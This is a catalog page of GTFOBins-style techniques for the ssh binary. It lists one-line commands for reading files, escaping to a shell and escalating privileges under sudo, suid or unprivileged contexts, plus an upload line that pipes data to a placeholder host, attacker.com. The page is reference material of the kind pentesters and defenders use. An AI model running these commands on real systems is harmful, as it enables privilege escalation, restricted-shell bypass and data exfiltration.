DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

ssh

16 techniques Linux · macOSGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation LinuxmacOS

The read file content is corrupted by error prints.

ssh -F /path/to/input-file x
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation LinuxmacOS

The read file content is corrupted by error prints.

ssh -F /path/to/input-file x
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS

The read file content is corrupted by error prints.

ssh -F /path/to/input-file x
Context
unprivileged
Native
file-read
MITRE
T1005

shell

ExecutionPrivilege Escalation LinuxmacOS

Reconnecting may help bypassing restricted shells.

ssh localhost /bin/sh
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS

Reconnecting may help bypassing restricted shells.

ssh localhost /bin/sh
Context
suid
Native
shell
MITRE
T1059

shell

Execution LinuxmacOS

Reconnecting may help bypassing restricted shells.

ssh localhost /bin/sh
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS

Spawn the shell on the client, but still requires a successful remote connection.

ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost
Context
sudo
Native
shell
MITRE
T1059

shell

Execution LinuxmacOS

Spawn the shell on the client, but still requires a successful remote connection.

ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost
Context
unprivileged
Native
shell
MITRE
T1059

upload

File UploadPrivilege Escalation LinuxmacOS 
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS 
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
Context
suid
Native
upload
MITRE
T1041